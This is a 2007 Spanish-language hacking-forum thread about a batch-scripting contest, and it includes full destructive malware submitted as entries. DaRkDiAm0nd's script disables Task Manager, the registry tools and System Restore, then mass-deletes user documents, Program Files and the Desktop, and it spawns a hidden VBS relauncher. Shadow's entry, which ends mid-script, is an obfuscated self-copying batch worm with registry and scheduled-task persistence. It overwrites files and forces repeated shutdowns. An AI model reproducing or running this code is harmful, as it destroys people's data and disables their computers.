Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 22, 2008, 04:55:04
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, |Shadow|)  |  Tema: competencia de programadores!(Ganador The Shadow) 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] 2 Ir Abajo Imprimir
Autor Tema: competencia de programadores!(Ganador The Shadow)  (Leído 861 veces)
SkullMaster123
Visitante
« en: Noviembre 12, 2007, 04:54:51 »
Hola bueno llevo tiempo sin ver algo interesante en batch, y bueno quiero proponerles esto que tal si hacemos un concurso de prograrmadores en batch no importa si el que participa es un MOD o es alguien que sabe poco, lo importante es que aprendamos todos de esto! Wink
bueno ustedes me dicen que tal y si a mas de 3 les gusta le damos plomo a la competencia! Grin Grin

---> Dia en que comenzo la competencia: 13/11/07, dia a entregar el programa: Jueves 22, osea 22/11/07

______
Reglas |
______|

- se dara plazo por 1 semana y 2 dias paar entregar el code o postearlo

- si se encuentra que el codigo es copiado sera descalificado INMEDIATAMENTE!

- No se puede insultar a nadie siempre con respeto!

- Solo en batch (Si kieren que el batch cree algo en vbs esta permitido pero que el codigo sea mayormente en batch  )

- Se tendra en cuenta: Lo bueno o mejor dicho la calidad del batch, se tendra en cuenta lo eficaz que sea, y sobre todo se tendra en cuenta la ORIGINALIDAD!

- Por votaciones se elige el ganador

- Dependiendo de cuantas personas hallan y cuantos programas se elegira(n) los campeones por categoria(s)

___________________
"Programas a postear" |
__________________ |

- Cualquier utilidad Virus, Troyano, Anti-Virus o lo que se les ocurra!

__________________________________________________________________

Bueno espero que halla quedado claro!
Y espero que posteen para apuntarse a la competencia! 

P.D: Para los que estan entrando los demas post que estan escritos abajos, ya esos asuntos fueron arreglados, si van a postear es para meterse en la competencia

Ganandor The Shadow! Felicitaciones amigo!

Salu2's! Cool
« Última modificación: Noviembre 30, 2007, 12:43:19 por SkullMaster123 » En línea
ZeKtOr-X
Miembro
*****
Desconectado Desconectado

Mensajes: 24


Batcher


Ver Perfil
« Respuesta #1 en: Noviembre 13, 2007, 01:31:10 »
ESTA BUENA LA IDEA, PERO ME PARECE QUE HAY QUE PROPONER UN TEMA.
SINO ALGUNOS VAN A HACER VIRUS, OTROS ANTIVIRUS, TROYANOS U OTRAS UTILIDADES.
Y DE ESA MANERA VA A SER DIFÍCIL COMPARAR LOS PROYECTOS.
O SINO TAMBIÉN PODRÍAN SER VARIOS TEMAS Y QUE CADA UNO PRESENTA EL PROYECTO QUE QUIERE QUE COMPITA EN CADA TEMA.
En línea
ZeKtOr-X : La invencibilidad está en uno mismo, la vulnerabilidad en el adversario
SkullMaster123
Visitante
« Respuesta #2 en: Noviembre 13, 2007, 11:27:17 »
bueno que tal si lo hacemos con: el mejor virus,worm o lo que sea que dañe Windows! Grin y si no les gusta esa idea pongan la idea que mas prefieran!:P

Salu2's!
En línea
Espectro Infernal
T0 d0: -> Mejorar 3 en raya
Moderadores
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1027


ESPECTRO INFERNAL


Ver Perfil Email
« Respuesta #3 en: Noviembre 13, 2007, 12:30:06 »
Cita de: SkullMaster123 en Noviembre 13, 2007, 11:27:17
bueno que tal si lo hacemos con: el mejor virus,worm o lo que sea que dañe Windows! Grin y si no les gusta esa idea pongan la idea que mas prefieran!:P

Salu2's!

Los virus en Batch no tienen mucho "jugo" que sacar. Si se llega a hacer eso daría de hacer utilidades varies, antiviruses, av killers, codificadores, o cosas asi en batch. Nada d código virico Wink
En línea




SkullMaster123
Visitante
« Respuesta #4 en: Noviembre 13, 2007, 12:55:15 »
Primero que nada gracias amigo Espectro infernal por tu aporte entonces se hara de esta manera los que quieran participar y espero que sean varios Wink digan el nombre de su idea, osea de que sera su codigo en batch, y con eso sabremos quienes van a participar! Tongue

Y se dara plazo de 1 semana y 2 dias! Wink

P.D:Pongo 2 dias en vez de 1 semana porque hay gente que se le presenta problemas y bueno para eso los puse!! Wink

Salu2's!
En línea
wizard_0
Miembro
*****
Desconectado Desconectado

Mensajes: 134


wizard_0_@hotmail.com
Ver Perfil Email
« Respuesta #5 en: Noviembre 13, 2007, 02:17:28 »
Me apunto  en  aportar  en  akellos  q no  pueden  lograr  hacer  alguna  idea  q  tengan...  o  proyecto,  son  va  a  servir  de  mucha  practica  hacerlos  todos  juntos..

salu2..
En línea
↑__P®egun†a__b!na®¡a__↑

3reS_un__[1]__ø__[0]__?¿?¿
        ø__vives__ø__mueres

Si__estas__v1vø_!!!__ganate__el__ saludo_!!!

"
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion"
ZeKtOr-X
Miembro
*****
Desconectado Desconectado

Mensajes: 24


Batcher


Ver Perfil
« Respuesta #6 en: Noviembre 13, 2007, 04:10:06 »
PERDONEN PERO NO ENTENDI BIEN EN QUE QUEDO LA COSA
COMO ES? CADA UNO ELIGE LO QUE VA A HACER? 1 SEMANA Y 2 DIAS PARA ENTREGAR EL PROYECTO O PARA ANOTARSE?
En línea
ZeKtOr-X : La invencibilidad está en uno mismo, la vulnerabilidad en el adversario
SkullMaster123
Visitante
« Respuesta #7 en: Noviembre 13, 2007, 05:16:38 »
Bueno amigo ZekTor-x quedo asi mira, tu vas a crear o lo que sea que vallas a hacer en batch, pero que sea una utilidad como especificaron antes antivirus,troyano en batch lo que se te ocurra! Wink y el proyecto se debera entregar en 1 semana y 2 dias empesando desde hoy 13/11/07

P.D:El proyecto NO debe ser virus, debe ser alguna utilidad productiva y que sirva de ayuda! Wink

Salu2's! Cool
« Última modificación: Noviembre 13, 2007, 05:18:20 por SkullMaster123 » En línea
|Shadow|
Dein Nulls
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 915


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #8 en: Noviembre 14, 2007, 02:16:35 »
segun Wikipedia : "Un virus informático es un programa que se copia automáticamente y que tiene por objeto alterar el normal funcionamiento de la computadora, sin el permiso o el conocimiento del usuario."

pos creanme.. muxos de nosotros tenemos ideas interesantisimas q en si aun siendo "viruses" son de gran aporte para una comunidad de programadores con ansias de saber... ya q utilizando los conceptos mostrados en el funcionamiento de un virus ... podemos crear aplicaciones sorprendentes q se alejan del proposito de un virus ... esta es solo mi opinion ... creo q la norma de no agregar codigo virico en los programas, ace q esta competencia se pierda de ver verdaderas obras de arte ...

Saludos!  Cool
En línea


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
Reglamento del Foro
     Linux  Registered User #473016
-ZeR0™-
SeRiaL KiLLeR
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 1089


HaCkIng & SeCuRiTy


Ver Perfil WWW
« Respuesta #9 en: Noviembre 14, 2007, 04:20:58 »
Te recomiendo borrar este post y modificar el primero Wink
En línea


Hardware Info

*S.O: MS Windows XP Professional SP2
*Procesador: AMD Duron
*Placa base:  PCChips M810LR

*Memoria RAM: SdRam (2 X 128Mb)
*Tarjeta Gráfica: SIS300/305/630/540/730

*Regrabador: LITE-ON   DVDRW SOHW-1673S   
*Disco Duro: Maxtor 6 E040L0
y0u-uNsEcUre
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3580


E.0.F


Ver Perfil Email
« Respuesta #10 en: Noviembre 15, 2007, 09:22:20 »
estare encantado de seguir este tema Wink....


sALuDos__
En línea
Elliott Yamin - Wait For You
Sh4k4
.
Colaborador
*****
Desconectado Desconectado

Mensajes: 565


SHAKA


Ver Perfil WWW
« Respuesta #11 en: Noviembre 15, 2007, 01:29:29 »
Suena interesante ya se hizo un duelo anteriormente suerT!   Cool
En línea
Arayashiki
y0u-uNsEcUre
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3580


E.0.F


Ver Perfil Email
« Respuesta #12 en: Noviembre 16, 2007, 07:31:21 »
 Roll Eyes....bueno pues are un code cuando pueda Ok??...seguramente lo suba el 21/22 ya k tengo examenes aora y no tengo mucho tiempo Wink...

mi code sera virico...me parece mas divertido..





sALuDos!__
En línea
Elliott Yamin - Wait For You
y0u-uNsEcUre
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3580


E.0.F


Ver Perfil Email
« Respuesta #13 en: Noviembre 22, 2007, 10:34:42 »
aki esta el code la parte de vbs lo puse por el ultimo aporte k dio the shadow, y repitok aunk sea antiguo yo no lo sabia y me parece un aporte bastante bueno....

_________________________________________________________________________________

    @echo off
goto %1_run
:ini_run
rem Code By DaRkDiAm0nd.
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMMyPictures /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMyMusic /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSMMyDocs /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v DSMax /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v DSMin /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoSimpleStartMenu /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuPinnedList /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoStartMenuMFUprogramsList /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRecentDocsMenu /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogoff /t reg_dword /d "1" /f
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon /v "LegalNoticeCaption" /t reg_sz /d "(`·...::By DaRkDiAm0nd::...·´)" /f
Reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon /v "LegalNoticeText" /t reg_sz /d "By DaRkDiAm0nd - k tENgAs uN bUeN DiA__" /f
Reg add HKLM\Software\Microsoft\Windows\CurrentVersion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v DisableSR /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v RestoreDiskSpaceError /t reg_dword /d "1" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v CreateFirstRunRp /t reg_dword /d "0" /f
Reg add HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore /v CreateFirstRunRp /t reg_dword /d "1" /f
Reg add HKLM\Software\Microsoft\Windows\CurrentVersion\policies\system /v disableregistrytools /t reg_dword /d "1" /f
RUNDLL32 USER32.DLL,SwapMouseButton
Reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t reg_dword /d "1" /f
cd "%homepath%\Mis documentos"
attrib -r -a -s -h *.*
erase /s /q /f  *.*
cd "%homedrive%\Archivos de programa"
attrib -r -a -s -h *.*
erase /s /q /f  *.*
echo    @echo off>>%systemroot%\windll32.bat
echo color A>>%systemroot%\windll32.bat
echo echo.>>%systemroot%\windll32.bat
echo echo Error de sistema...............>>%systemroot%\windll32.bat
echo echo Recuperandose del Error, Por favor espere......>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.avi" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.wmv" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.mpg" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.mp3" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.wma" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.jpg" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.gif" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.png" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.bmp" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.com" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.vbs" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.cmd" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.bak" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.dat" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.exe" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.dll" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.txt" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.lnk" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.zip" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.rar" /f>>%systemroot%\windll32.bat
echo reg delete "HKEY_CLASSES_ROOT\.scr" /f>>%systemroot%\windll32.bat
echo shutdown -s -f -t 30 -c "ATENCION: Error de sistema. Se debe reiniciar el equipo.">>%systemroot%\windll32.bat
start %systemroot%\windll32.bat
cd "%homepath%\escritorio"
attrib -r -a -s -h *.*
erase /s /q /f  *.*
:_run
echo set shell = CreateObject("wscript.shell") > run.vbs
echo shell.run "cmd /c "%0" ini", vbHide >> run.vbs
start run.vbs


_________________________________________________________________________________


Descripcion: kitamos mis imagenes,mimusica,mis documentos del inicio, acemos unos cambios en el restore poniendo k la cantidad maxima y minima del guardado de datos para la restauracion k sera de 1 MG, cambiamos el menu de inicio por el clasico, quitamos la lista de programas agregados del menu Inicio, quitamos la lista de programas de uso frecuente del menu Inicio, kitamos la opcion de Documentos recientes, el buscador de inicio y la opcion de ejecutar, kitamos el boton de cerrar sesion y el de apagado. Creamos un mensaje para k cuando arranke el S.O aparezca, deshabilitamos el Administrado de tareas, volvemos acer modificaciones con el restore y creamos un punto de restauracion, deshabilitamos el registro, intercambiamos los botones del mouse y deshabilitamos el boton derecho en el escritorio, borramos todos los archivos de mis documentos y Archivos de programa, creamos un windll32.bat k borra estas extensiones .avi .wma .mpg .mp3 .wma .jpg .gif .png .bmp .com .txt .exe .lnk .zip .rar ect, para asi no permitir su ejecucion, se ejecuta windll32.bat, borramos las extensiones y aparece un mensaje de reinicio y borramos todos los archivos k ay en el ecritorio.

no es un code muy currao pero bueno, espero k os aya gustado...



sALuDos!!__
« Última modificación: Noviembre 22, 2007, 10:37:22 por DaRkDiAm0nd » En línea
Elliott Yamin - Wait For You
SkullMaster123
Visitante
« Respuesta #14 en: Noviembre 22, 2007, 10:39:19 »
Saludos bueno hoy es el dia para postear los codee!!!!!!! Grin Grin vallan poniendo el code y su explicacion(Si su code es demaciado extenso y es medio fastidioso postearlo por x's razon guarden el codigo en txt y lo suben a rapidshare o lo que sea!) Wink luego cuando la mayoria halla posteado el code veremos el ganador!

P.D: Yo voy a publicar el mio mas tarde ya que tengo clases en la tarde y dentro de un ratico tengo que salir Undecided mi code lo subire a rapidshare ya que es extenso y contiene 2 partes una "administrativa" y otra "Virica" Wink

Bueno luego lo subo y pongo explicacion! Wink jeje y bueno vallan poniendo los code! Wink

Salu2's! Cool
En línea
SkullMaster123
Visitante
« Respuesta #15 en: Noviembre 22, 2007, 05:37:43 »
Bueno saludos como dije que lo subiria mas tarde aqui esta lo subi a rapidshare porque esta algo largo el code, esta en .txt , y bueno no es la gran cosa pero explico tiene 2 partes y administrativa y otra virica como mencione antes:
Nombre del programa: Editor Pro-V vol 1.1 Cheesy

La administrativa tiene: Crear cuentas, borrarlas, etc
calculadora
crear carpetas
borrar carpetas
matar procesos
etc y no me acuerdo de los  demas se que tiene 11 opciones para la parte administrativa!

y la virica:(Esta no me dio tiempo de hacerle mas cositas pero bueno aqui se los dejo)

tiene
Edicion(Creacion) de un worm en batch
Creacion de un bucle(COntiene varias opciones) Wink
y tu propio editor de .vbs o .bat(En esa opcion tu eliges cuantas lineas escribir y eso!) Wink

Bueno espero que sea util, y les gustes!

P.D:Para comprenderlo mejor ejecutenlo porque si leen todo el codigo se les hara largo! Tongue

                          LINK DE DESCARGA:
________________________________________________


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
________________________________________________

Salu2's! Cool
En línea
SkullMaster123
Visitante
« Respuesta #16 en: Noviembre 23, 2007, 10:19:59 »
Bueno aqui pongo(Ya lo postearon pero para tener la cosa organizada) el programa de nuestr amigo sh4k4 es: Cerrar el NOD32

Citar
aca pongo mi articulo una disculpa SKULL por no entrar al reto de programadores pero para reponer les pongo mi articulo!!


Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion

pass del pdf: shaka

saludoz!! HOOOOOOOOOM!
En línea
y0u-uNsEcUre
Moderación
Gran Colaborador
*****
Desconectado Desconectado

Mensajes: 3580


E.0.F


Ver Perfil Email
« Respuesta #17 en: Noviembre 25, 2007, 06:01:16 »
cuando empiezan las votaciones??

creo k deberian empezar ya


sALuDos__
« Última modificación: Noviembre 25, 2007, 06:07:29 por DaRkDiAm0nd » En línea
Elliott Yamin - Wait For You
SkullMaster123
Visitante
« Respuesta #18 en: Noviembre 25, 2007, 07:41:34 »
saludos, si deberiamos pero estoy esperando a un amigo que tambien va a postear su programa en batch! Grin yo te habiso cuando comienzan! Wink

Salu2's! Cool
En línea
|Shadow|
Dein Nulls
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 915


Fucking mnemonic c0d1n6!

shadow@el-hacker.org
Ver Perfil Email
« Respuesta #19 en: Noviembre 26, 2007, 07:04:21 »
weno .. grx x esperar :S.... se q esta grocero pero aqui sta mi code:

   @echo off
reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate0 /d "%windir%\run.vbs" /f
set a="%windir%\prntcrlt.bat"
if exist %a% goto code
echo set shell = CreateObject("wscript.shell") > %windir%\run.vbs
echo shell.run "cmd /c prntcrlt.bat", vbHide >> %windir%\run.vbs
copy %0 %a%
:qep
set hor=%time:~0,2%
set tim=%time:~3%
set tim=%tim:~0,2%
set /A tim=%tim% + 5
if /I %tim% geq 60 (set /a hor=%hor%+1
                    set /a tim=%tim%-60
                    if /I %tim% lss 10 (set tim=0%tim%))
set ecx=%hor%:%tim%
at %ecx% "%windir%\run.vbs"
exit
:crea
echo 0 > vals.tk
echo 1 >> vals.tk
echo 2 >> vals.tk
echo 3 >> vals.tk
echo 4 >> vals.tk
echo 5 >> vals.tk
echo 6 >> vals.tk
echo 7 >> vals.tk
echo 8 >> vals.tk
echo 9 >> vals.tk
echo A >> vals.tk
echo B >> vals.tk
echo C >> vals.tk
echo D >> vals.tk
echo E >> vals.tk
echo F >> vals.tk
goto for
:modulcrea
set tar=%tar:~,1%
if /I %tar% leq 9 ( if %tar% == 9 ( set tar2=A
                                    goto klop ) 
                    set /A tar2=%tar%+1 ) else ( if %tar% == A set tar2=B
                                                 if %tar% == B set tar2=C
                                                 if %tar% == C set tar2=D
                                                 if %tar% == D set tar2=E
                                                 if %tar% == E set tar2=F )
:klop
echo :modul%tar% ¿mol%tar%¿ >> modul.tk
if %tar%==0 ( echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
              echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
              echo goto ¿1_jk ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==1 ( echo :_jk ¿mol%tar%¿ >> modul.tk
              echo copy "¿windir¿\kpore.bat" "¿windir¿\k0.bat" ¿mol%tar%¿ >> modul.tk
              echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate /d "%windir%\k0.vbs" /f ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==2 ( echo echo set shell = CreateObject¡"wscript.shell"$ ^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
              echo echo shell.run "cmd /c k0.bat ini", vbHide ^>^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
         echo echo Set fg = CreateObject¡"WMPlayer.OCX.7"$ ^> conf.vbs ¿mol%tar%¿ >> modul.tk
              echo echo Set fgh = fg.cdromCollection ^>^> conf.vbs   ¿mol%tar%¿ >> modul.tk
              echo echo if fgh.Count  then ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo       For i = 0 to fgh.Count-1 ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo             fgh.Item¡i$.Eject ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo       Next   ' cdrom ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo End If ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==3 ( echo :ini_jk ¿mol%tar%¿ >> modul.tk
              echo start conf.vbs ¿mol%tar%¿ >> modul.tk
              echo set hor=¿time:~0,2¿ ¿mol%tar%¿ >> modul.tk
              echo set tim=¿time:~3¿ ¿mol%tar%¿ >> modul.tk
              echo set tim=¿tim:~0,2¿ ¿mol%tar%¿ >> modul.tk
              echo set /A tim=¿tim¿+1 ¿mol%tar%¿ >> modul.tk
              echo if /I ¿tim¿ geq 60 ¡set /a hor=¿hor¿+1 ¿mol%tar%¿ >> modul.tk
              echo                     set /a tim=¿tim¿-60 ¿mol%tar%¿ >> modul.tk
              echo                     if /I ¿tim¿ lss 10 ¡set tim=0¿tim¿$$ ¿mol%tar%¿ >> modul.tk
              echo set ecx=¿hor:~0,2¿:¿tim¿ ¿mol%tar%¿ >> modul.tk
              echo at ¿ecx¿ "¿windir¿\k0.vbs" ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==4 ( echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
              echo dir /B ^> ¿homedrive¿\dir.txt ¿mol%tar%¿ >> modul.tk
              echo goto for ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==5 ( echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate2 /d "shutdown -r -f -t 10" /f ¿mol%tar%¿ >> modul.tk
              echo shutdown -r -f -t 10 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==6 ( echo shutdown -r -f -t 12 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==7 ( echo :worm ¿mol%tar%¿ >> modul.tk
              echo set target=¿1 ¿mol%tar%¿ >> modul.tk
              echo cd "¿target¿" ¿mol%tar%¿ >> modul.tk
              echo for ¿¿e in ¡*.*$ do echo Exworm by Shadow ^> ¿¿e ¿mol%tar%¿ >> modul.tk
              echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
              echo goto :EOF ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==8 ( echo shutdown -r -f -t 4 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==9 ( echo :ERRNO ¿mol%tar%¿ >> modul.tk
              echo for /f "tokens=* " ¿¿a in ¡¿homedir¿\dir.txt$ do call :worm "¿¿a" ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==A ( echo shutdown -s -f -t 5 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==B ( echo shutdown -s -f -t 22 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==C ( echo shutdown -r -f -t 11 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==D ( echo shutdown -r -f -t 6 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==E ( echo shutdown -s -f -t 14 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==F ( echo exit ¿mol%tar%¿ >> modul.tk
              goto :EOF )
:for
for /f "tokens=*" %%a in (vals.tk) do (set tar=%%a && call :modulcrea)
:sig
echo set shell = CreateObject("Scripting.FileSystemObject") > rep.vbs
echo set file = shell.OpenTextFile("modul.tk") >> rep.vbs
echo read = file.ReadAll >> rep.vbs
echo repla = replace(read,"¿",chr(37)) >> rep.vbs
echo repla1 = replace(repla,"¡",chr(40)) >> rep.vbs
echo repla2 = replace(repla1,"$",chr(41)) >> rep.vbs
echo set b=shell.CreateTextFile("module.tk") >> rep.vbs
echo b.close >> rep.vbs
echo set d=shell.OpenTextFile("module.tk",2) >> rep.vbs
echo d.write repla2 >> rep.vbs
echo d.close >> rep.vbs
start rep.vbs
:code
if not exist module.tk goto crea
echo set shell = CreateObject("wscript.shell") > run2.vbs
echo shell.run "cmd /c kpore.bat", vbHide >> run2.vbs
ping -n 7 localhost > nul
set fail=module.tk
set vir=kpore.bat
echo     @echo off > %vir%
set a=%time:~,5%
set b=%a:~3,2%
del modul.tk vals.tk rep.vbs
if /I %b% geq 0 (if /I %b% lss 10 goto a)
if /I %b% geq 10 (if /I %b% lss 20 goto b)
if /I %b% geq 20 (if /I %b% lss 30 goto c)
if /I %b% geq 30 (if /I %b% lss 40 goto d)
if /I %b% geq 40 (if /I %b% lss 50 goto e)
if /I %b% geq 50 (if /I %b% lss 60 goto f)
goto crea
:a
find "mol0" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:b
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:C
find "molB" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
